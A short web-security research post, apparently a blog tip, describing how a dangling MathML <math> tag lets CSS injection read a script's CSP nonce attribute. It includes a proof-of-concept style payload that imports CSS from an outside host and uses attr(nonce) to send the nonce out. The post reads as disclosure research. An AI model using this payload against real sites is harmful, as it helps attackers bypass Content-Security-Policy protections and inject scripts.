Nowadays, browsers prevent CSS Injection from being able to leak nonce= attributes, they can’t be matched. Either via selectors or the new attr() function.

Tip: In case you’re testing this, made sure your testing setup has a CSP header active with the correct nonce. Only then will it hide the nonce attribute, otherwise you might get false positives!

The trick: if you can dangle a <math> tag at the end of your payload, and a script/style with a nonce comes right after it (before auto-closing the math tag), in the MathML namespace this protection isn’t active!

That means you can match it with selectors like *=, or use the attr() trick just like any other attribute:

Content-Security-Policy: script-src 'nonce-NONCE'

<style>
  @import 'https://r.jtw.sh./poc.css?body=*[nonce]+%7B%0D%0A++background%3A+image-set%28attr%28nonce%29%29%3B%0D%0A%7D';
</style>
<math>
  <script nonce="NONCE">
    console.log("Hello, world!");
  </script>

I don’t think this is very useful in the real world yet because dangling markup really only happens on server-side HTML injection, while updating a payload to include our newly leaked nonce requires a client-side injection. Maybe someone has an attack scenario ¯\_(ツ)_/¯